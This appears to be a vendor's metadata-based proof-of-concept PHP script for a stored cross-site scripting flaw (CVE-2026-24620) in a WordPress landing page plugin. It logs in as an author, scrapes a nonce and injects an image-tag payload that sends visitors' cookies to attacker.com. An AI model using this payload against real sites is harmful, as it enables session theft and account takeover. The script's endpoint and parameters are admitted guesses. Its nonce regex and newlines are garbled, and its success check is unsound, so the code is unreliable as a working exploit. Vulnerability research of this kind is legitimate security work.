CVE-2026-24620: Landing Page Builder <= 1.5.3.4 – Authenticated (Author+) Stored Cross-Site Scripting (page-builder-add)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24620 - Landing Page Builder <= 1.5.3.4 - Authenticated (Author+) Stored Cross-Site Scripting
<?php
/*
 * Proof of Concept for CVE-2026-24620.
 * This script simulates an authenticated author-level attacker injecting a stored XSS payload
 * into a page created/edited via the Landing Page Builder plugin.
 * ASSUMPTIONS (based on metadata):
 * 1. The plugin uses standard WordPress AJAX or POST handlers for saving page builder data.
 * 2. A common attack vector is the 'save' or 'update' action for page content.
 * 3. The vulnerable parameter is likely named 'content', 'data', or similar.
 * 4. The endpoint is likely /wp-admin/admin-ajax.php or the standard post editor.
 * This PoC targets a hypothetical AJAX endpoint inferred from the plugin slug.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'author_user'; // CHANGE THIS - Author-level credentials
$password = 'author_pass'; // CHANGE THIS
$page_id = 123; // CHANGE THIS - ID of a page the author can edit

// Payload to inject. This is a simple cookie theft script.
$payload = '<img src=x onerror="var i=new Image();i.src='http://attacker.com/steal.php?c='+encodeURIComponent(document.cookie);" />';

// Step 1: Authenticate to WordPress and obtain session cookies and a nonce.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Attempt to fetch a nonce from the page editor. This is plugin-specific and inferred.
// Many page builders expose a nonce via localized scripts. We attempt to extract a generic one.
$edit_page_url = $target_url . '/wp-admin/post.php?post=' . $page_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_page_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$edit_page = curl_exec($ch);

// Look for a common nonce variable pattern. This is a best-effort guess.
$nonce = '';
preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $edit_page, $matches);
if (!empty($matches[1])) {
    $nonce = $matches[1];
} else {
    // Fallback: assume the plugin uses a standard WordPress AJAX nonce named '_ajax_nonce'.
    $nonce = wp_create_nonce('some_action'); // This would require WordPress environment; placeholder.
    echo "Warning: Could not extract nonce. Exploit may fail.n";
}

// Step 3: Inject the payload via a hypothetical plugin AJAX endpoint.
// Inferred endpoint: /wp-admin/admin-ajax.php with action related to plugin slug.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'page_builder_add_save', // Inferred from plugin slug 'page-builder-add'
    'post_id' => $page_id,
    'content' => $payload, // Injected payload
    'nonce' => $nonce // Nonce for the action
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
$ajax_response = curl_exec($ch);

// Step 4: Verify if the payload was accepted.
if (strpos($ajax_response, 'success') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo "Payload likely injected successfully.n";
    echo "Visit the page at: " . $target_url . '/?p=' . $page_id . " to trigger the XSS.n";
} else {
    echo "Injection may have failed. Response: " . $ajax_response . "n";
}

curl_close($ch);
?>